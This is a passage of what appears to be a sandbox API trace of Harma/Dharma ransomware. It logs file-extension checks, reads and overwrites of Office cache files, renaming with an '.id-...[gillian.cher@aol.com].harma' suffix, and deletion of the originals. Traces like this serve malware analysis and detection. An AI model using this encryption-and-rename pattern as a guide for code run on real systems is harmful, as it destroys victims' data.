lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.105] WriteFile (in: hFile=0x16c, lpBuffer=0x3f434d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f434d8*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.107] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.107] WriteFile (in: hFile=0x16c, lpBuffer=0x3f434d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f434d8*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f434d8 | out: hHeap=0x5a0000) returned 1 [0048.110] CloseHandle (hObject=0x16c) returned 1 [0050.274] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0050.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.275] lstrlenW (lpString=".doc") returned 4 [0050.275] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.275] lstrlenW (lpString=".docx") returned 5 [0050.275] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0050.275] lstrlenW (lpString=".pdf") returned 4 [0050.275] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.275] lstrlenW (lpString=".xls") returned 4 [0050.275] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.275] lstrlenW (lpString=".xlsx") returned 5 [0050.275] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0050.275] lstrlenW (lpString=".ppt") returned 4 [0050.275] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.275] lstrlenW (lpString=".zip") returned 4 [0050.275] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.275] lstrlenW (lpString=".rar") returned 4 [0050.275] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.275] lstrlenW (lpString=".bz2") returned 4 [0050.275] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.275] lstrlenW (lpString=".7z") returned 3 [0050.275] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.276] lstrlenW (lpString=".dbf") returned 4 [0050.276] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.276] lstrlenW (lpString=".1cd") returned 4 [0050.276] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.276] lstrlenW (lpString=".jpg") returned 4 [0050.276] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.276] lstrlenW (lpString=".doc") returned 4 [0050.276] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.276] lstrlenW (lpString=".docx") returned 5 [0050.276] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0050.276] lstrlenW (lpString=".pdf") returned 4 [0050.276] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.276] lstrlenW (lpString=".xls") returned 4 [0050.276] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.276] lstrlenW (lpString=".xlsx") returned 5 [0050.276] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0050.276] lstrlenW (lpString=".ppt") returned 4 [0050.276] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.276] lstrlenW (lpString=".zip") returned 4 [0050.276] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.276] lstrlenW (lpString=".rar") returned 4 [0050.276] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.276] lstrlenW (lpString=".bz2") returned 4 [0050.276] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.276] lstrlenW (lpString=".7z") returned 3 [0050.276] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.277] lstrlenW (lpString=".dbf") returned 4 [0050.277] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.277] lstrlenW (lpString=".1cd") returned 4 [0050.277] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0050.277] lstrlenW (lpString=".jpg") returned 4 [0050.277] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.277] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0050.277] lstrlenW (lpString="Office32MUI.msi") returned 15 [0050.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0050.277] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=873984) returned 1 [0050.277] CloseHandle (hObject=0x16c) returned 1 [0050.277] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0050.278] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.278] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0050.278] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.278] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.278] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0050.278] GetLastError () returned 0x0 [0050.278] ReadFile (in: hFile=0x16c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0050.301] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0050.317] ReadFile (in: hFile=0x16c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.317] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0050.317] SetEndOfFile (hFile=0x1a0) returned 1 [0050.317] CloseHandle (hObject=0x1a0) returned 1 [0050.458] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.458] SetEndOfFile (hFile=0x16c) returned 1 [0050.641] CloseHandle (hObject=0x16c) returned 1 [0050.641] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0050.641] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0050.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.641] lstrlenW (lpString=".doc") returned 4 [0050.641] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.641] lstrlenW (lpString=".docx") returned 5 [0050.642] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0050.642] lstrlenW (lpString=".pdf") returned 4 [0050.642] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.642] lstrlenW (lpString=".xls") returned 4 [0050.642] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.642] lstrlenW (lpString=".xlsx") returned 5 [0050.642] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0050.642] lstrlenW (lpString=".ppt") returned 4 [0050.642] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.642] lstrlenW (lpString=".zip") returned 4 [0050.642] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.642] lstrlenW (lpString=".rar") returned 4 [0050.642] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.642] lstrlenW (lpString=".bz2") returned 4 [0050.642] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.642] lstrlenW (lpString=".7z") returned 3 [0050.642] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.642] lstrlenW (lpString=".dbf") returned 4 [0050.642] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.642] lstrlenW (lpString=".1cd") returned 4 [0050.642] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.642] lstrlenW (lpString=".jpg") returned 4 [0050.642] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.642] lstrlenW (lpString=".doc") returned 4 [0050.642] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.643] lstrlenW (lpString=".docx") returned 5 [0050.643] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0050.643] lstrlenW (lpString=".pdf") returned 4 [0050.643] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.643] lstrlenW (lpString=".xls") returned 4 [0050.643] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.643] lstrlenW (lpString=".xlsx") returned 5 [0050.643] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0050.643] lstrlenW (lpString=".ppt") returned 4 [0050.643] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.643] lstrlenW (lpString=".zip") returned 4 [0050.643] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.643] lstrlenW (lpString=".rar") returned 4 [0050.643] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.643] lstrlenW (lpString=".bz2") returned 4 [0050.643] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.643] lstrlenW (lpString=".7z") returned 3 [0050.643] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.643] lstrlenW (lpString=".dbf") returned 4 [0050.643] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.643] lstrlenW (lpString=".1cd") returned 4 [0050.643] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.643] lstrlenW (lpString=".jpg") returned 4 [0050.643] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.643] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0050.644] lstrlenW (lpString="InfLR.cab") returned 9 [0050.644] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0050.644] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=18874884) returned 1 [0050.644] CloseHandle (hObject=0x16c) returned 1 [0050.644] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0050.644] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0050.644] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0050.645] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0050.645] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0050.645] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.645] ReadFile (in: hFile=0x16c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.656] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.656] ReadFile (in: hFile=0x16c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.704] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.704] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.704] ReadFile (in: hFile=0x16c, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.221] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.221] WriteFile (in: hFile=0x16c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0051.307] SetEndOfFile (hFile=0x16c) returned 1 [0051.308] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0051.308] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.308] WriteFile (in: hFile=0x16c, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.310] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.310] WriteFile (in: hFile=0x16c, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.314] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.314] WriteFile (in: hFile=0x16c, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.318] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0051.318] CloseHandle (hObject=0x16c) returned 1 [0054.455] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.455] lstrlenW (lpString=".doc") returned 4 [0054.455] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.455] lstrlenW (lpString=".docx") returned 5 [0054.455] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.455] lstrlenW (lpString=".pdf") returned 4 [0054.455] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.455] lstrlenW (lpString=".xls") returned 4 [0054.455] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.455] lstrlenW (lpString=".xlsx") returned 5 [0054.455] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.455] lstrlenW (lpString=".ppt") returned 4 [0054.455] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.456] lstrlenW (lpString=".zip") returned 4 [0054.456] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.456] lstrlenW (lpString=".rar") returned 4 [0054.456] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.456] lstrlenW (lpString=".bz2") returned 4 [0054.456] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.456] lstrlenW (lpString=".7z") returned 3 [0054.456] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.456] lstrlenW (lpString=".dbf") returned 4 [0054.456] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.456] lstrlenW (lpString=".1cd") returned 4 [0054.456] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.456] lstrlenW (lpString=".jpg") returned 4 [0054.456] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.456] lstrlenW (lpString=".doc") returned 4 [0054.456] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.456] lstrlenW (lpString=".docx") returned 5 [0054.456] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.456] lstrlenW (lpString=".pdf") returned 4 [0054.456] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.456] lstrlenW (lpString=".xls") returned 4 [0054.456] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.456] lstrlenW (lpString=".xlsx") returned 5 [0054.456] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.457] lstrlenW (lpString=".ppt") returned 4 [0054.457] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.457] lstrlenW (lpString=".zip") returned 4 [0054.457] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.457] lstrlenW (lpString=".rar") returned 4 [0054.457] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.457] lstrlenW (lpString=".bz2") returned 4 [0054.457] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.457] lstrlenW (lpString=".7z") returned 3 [0054.457] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.457] lstrlenW (lpString=".dbf") returned 4 [0054.457] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.457] lstrlenW (lpString=".1cd") returned 4 [0054.457] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0054.457] lstrlenW (lpString=".jpg") returned 4 [0054.457] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.512] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0054.512] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0054.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.512] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2507776) returned 1 [0054.512] CloseHandle (hObject=0x204) returned 1 [0054.512] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0054.513] GetFileAttributesW 